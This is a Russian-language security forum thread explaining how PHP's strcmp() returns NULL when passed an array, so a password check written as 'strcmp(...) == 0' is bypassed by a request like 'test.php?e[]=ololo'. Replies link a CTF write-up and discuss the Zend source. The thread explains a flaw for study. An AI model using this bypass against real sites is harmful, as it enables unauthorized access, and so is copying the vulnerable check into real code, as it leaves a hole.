Старый 04.03.2013, 17:36   #1
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию Bypassing PHP strcmp()

Рассмотрим такой код:

test.php:

PHP код:
<?php 
$a
=$_GET['e'];
$b="password";
if (
strcmp($a,$b) == 0){
        
phpinfo();
 }
 else{
       echo 
"Hacking attempt!";
}
сложно и невозможно, на первый, взгляд получить phpinfo, не зная пароля. Однако можно:

Цитата:
http://localhost/test.php?e[]=ololo
суть - при сравнивании с массивом, а не со строкой, strcmp выдаст:

Цитата:
Warning: strcmp() expects parameter 1 to be string, array given in /var/www/test.php on line 4
но выполнит все, что после условия:

PHP код:
if (strcmp($a,$b) == 0){ 
Источник: http://danuxx.blogspot.ru/2013/03/unauthorized-access-bypassing-php-strcmp.html

tested on PHP Version 5.3.5-1ubuntu7.11

Последний раз редактировалось Pashkela; 04.03.2013 в 17:46..
Pashkela вне форума   Ответить с цитированием
Старый 04.03.2013, 18:37   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 403
Репутация: 118
По умолчанию

http://eindbazen.net/2012/09/csaw-2012-web-600/
Так-то ебалы полно в пыхе, здесь просто NULL выдаётся, поэтому нельзя юзать "==".
Beched вне форума   Ответить с цитированием
Старый 04.03.2013, 19:03   #3
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

тут дело не только в пыхе, вернее совсем не в пыхе, судя по всему, а в кривом коде, на котором пых написан, nobody если захочет - отпишет подробности

Последний раз редактировалось Pashkela; 04.03.2013 в 19:06..
Pashkela вне форума   Ответить с цитированием
Старый 04.03.2013, 19:11   #4
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

да писать особо нечего
Код:
int strcmp(string $str1, string $str2)
Zend/zend_builtin_functions.c
Код:
 499   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &s1, &s1_len, &s2, &s2_len) == FAILURE) {
 500     return;
 501   }
int x(){return;} равносильно int x(){return 0;}. Конец
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 05.03.2013, 09:05   #5
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

Цитата:
Сообщение от nobody Посмотреть сообщение
int x(){return;} равносильно int x(){return 0;}. Конец
утверждение ошибочно.
в x86/x64 будет "возвращено" значение, которое было в eax/rax к моменту return;
DrakonHaSh вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot